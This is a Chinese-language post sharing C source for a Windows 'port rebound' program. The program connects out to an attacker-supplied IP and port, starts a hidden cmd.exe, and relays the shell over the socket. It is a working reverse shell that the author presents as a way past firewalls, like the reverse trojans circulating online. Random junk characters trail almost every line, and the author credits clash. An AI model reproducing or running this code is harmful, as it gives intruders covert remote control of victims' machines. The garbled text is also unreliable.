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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 >g m  
*%Fu/  
/* ============================== fm L8n<1  
Rebound port in Windows NT d8iq9AP\o  
By wind,2006/7 6bPl(.(3  
===============================*/ S9{A}+"K  
#include jtUqrJFlQ  
#include &isKU 8n  
{PR "}x  
#pragma comment(lib,"wsock32.lib") rzs-c ?  
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void OutputShell(); [N12X7O3  
SOCKET sClient; d&\3}uH  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ~oJ"si  
K:^0*5Y-k  
void main(int argc,char **argv) A$]s{`  
{ b;%t*?t  
WSADATA stWsaData; lh[?`+A  
int nRet; Z #T  
SOCKADDR_IN stSaiClient,stSaiServer; ,ga6   
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if(argc != 3) 2WTOu x*  
{ s_a jA  
printf("Useage:\n\rRebound DestIP DestPort\n"); 2v2XU\u{t  
return; tt#dO@G#Fe  
} 6oKdw|(Q#  
'u E;8.,  
WSAStartup(MAKEWORD(2,2),&stWsaData); VZq~ -$  
S8Y\@C?5  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -i1 f ]Bd  
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stSaiClient.sin_family = AF_INET; h[&"KA  
stSaiClient.sin_port = htons(0); `<7!Rh,tS^  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Ij$C@hH  
EY:IwDA.}  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) *AYq :n6  
{ ""Da 2Md  
printf("Bind Socket Failed!\n"); '_^T]fr}  
return; z:@:B:E  
} r fzNw  
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stSaiServer.sin_family = AF_INET; ^5.XQ 0n  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); dI&Q5M8  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); :W5W @8Y  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) g `%in  
{ ,2^4"gIl  
printf("Connect Error!"); &w#!   
return; bMGn&6QiP[  
} #c5jCy}n  
OutputShell(); Pc_aEBq  
} 76wNZv) 9  
}f]Y^>-Ux  
void OutputShell() _'LZf=V0  
{ 5nUJ9sqA  
char szBuff[1024]; /("7*W2  
SECURITY_ATTRIBUTES stSecurityAttributes; ;8eKAh  
OSVERSIONINFO stOsversionInfo; d&[RfZ`  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ]%)<9 ]}  
STARTUPINFO stStartupInfo; Qr9;CVW  
char *szShell; kQ lU.J>^  
PROCESS_INFORMATION stProcessInformation; fT|A^  
unsigned long lBytesRead; An$2='=/  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); bh<;px-  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); +.Ij%S[Px5  
stSecurityAttributes.lpSecurityDescriptor = 0; e=WjFnK[x7  
stSecurityAttributes.bInheritHandle = TRUE; FO5a<6  
C+ll A  
}Nsdk',}  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); D%abBE1  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); p,goYF??  
lQ-<T<g  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Jsysk $R  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w y|^=#k  
stStartupInfo.wShowWindow = SW_HIDE; V`1,s~"q  
stStartupInfo.hStdInput = hReadPipe; 8HQ.MXKP  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; TK fN`6  
) ](ls@*  
GetVersionEx(&stOsversionInfo); I5_HaC>  
/\c'kMAW!  
switch(stOsversionInfo.dwPlatformId) O=A2QykV(  
{ $2Whb!7Z(  
case 1: 4P&2Z0  
szShell = "command.com"; "FWx;65CR  
break; u3C_Xz  
default: RqtBz3v  
szShell = "cmd.exe"; l!F$V;R  
break; U}RBgPX!  
} &ASR2J  
ujZ`T0  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); #cu{AdK  
_cX}!d!j  
send(sClient,szMsg,77,0); @"-\e|[N  
while(1) y:W6;R  
{ V0=%$tH  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ];OvV ,*  
if(lBytesRead) gvA}s/   
{ -2M~KlYl  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); S^eem_C  
send(sClient,szBuff,lBytesRead,0); y|2<Vc  
} x,!Dd  
else (?fU l$q\  
{ sD:o 2(G*  
lBytesRead=recv(sClient,szBuff,1024,0); @ph!3<(In,  
if(lBytesRead<=0) break; kh5a>OX  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); #$I@V4O;#  
}  u]P|  
} Uj):}xgi'  
6^wI^`NI  
return;  X0VS a{  
}
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